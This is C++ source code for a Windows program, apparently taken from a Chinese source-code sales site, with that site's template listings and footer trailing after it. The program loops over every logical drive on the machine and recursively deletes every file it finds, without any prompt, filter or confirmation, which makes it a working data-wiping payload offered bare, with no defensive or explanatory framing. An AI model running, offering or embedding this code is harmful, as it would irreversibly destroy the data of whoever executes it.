#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
WIN32_FIND_DATA data;
HANDLE hFind;
char cFullPath[100];
char cNewPath[100];
sprintf_s(cFullPath,"%s\\*.*",cFilePath);
hFind=FindFirstFile(cFullPath,&data);
do
{
if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
{
continue;
}
if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
DelFile(cNewPath);//递归
}
// MessageBox(NULL,data.cFileName,"Look",0);
sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
DeleteFile(cFullPath);
}while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
DWORD dwDrive=GetLogicalDrives();
bitset<32> bit(dwDrive);
char Path[3]={'a',':','\0'};
for(int ix=0;ix!=32;ix++)
{
if(bit.test(ix))
{
Path[0]='A'+ix;
DelFile(Path);
}
}
return 0;
}
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有